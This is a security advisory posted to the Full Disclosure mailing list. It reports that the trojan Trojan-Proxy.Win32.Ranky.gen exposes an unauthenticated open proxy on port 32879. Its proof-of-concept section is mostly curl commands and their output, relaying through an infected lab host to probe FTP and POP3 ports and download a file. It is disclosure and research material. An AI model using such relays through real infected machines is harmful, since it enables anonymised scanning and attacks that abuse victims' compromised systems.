Date: Mon, 12 Jul 2021 22:15:19 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan-Proxy.Win32.Ranky.gen / Unauthenticated Open Proxy

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c0d6a2f0b34d9c44ca3433e4d45f187e.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan-Proxy.Win32.Ranky.gen
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 32879. Third-party attackers
who can connect to the infected system can relay requests from the original
connection to the destination and then back to the origination system.
Attackers may then be able to launch attacks, download files or port scan
third party systems and it will appear as the attacks originated from that
infected host.
Type: PE32
MD5: c0d6a2f0b34d9c44ca3433e4d45f187e
Vuln ID: MVID-2021-0284
Disclosure: 07/12/2021

Exploit/PoC:
Scan port 21)

curl -x http://192.168.18.129:32879 http://192.168.18.128:21
220 INetSim FTP Service ready.
500 Unknown command.
500 Unknown command.

Scan port 110)

curl -x http://192.168.18.129:32879 http://192.168.18.128:110
+OK INetSim POP3 Server ready <57858.1625451488@...3host>
-ERR Unknown command.
-ERR Unknown command.

Download filez)

curl -x http://192.168.18.129:32879 http://192.168.18.128/DOOM.exe --out
DOOM.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100  101k  100  101k    0     0  25883      0  0:00:04  0:00:04 --:--:--
25388


Disclaimer: The information contained within this advisory is supplied
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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
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the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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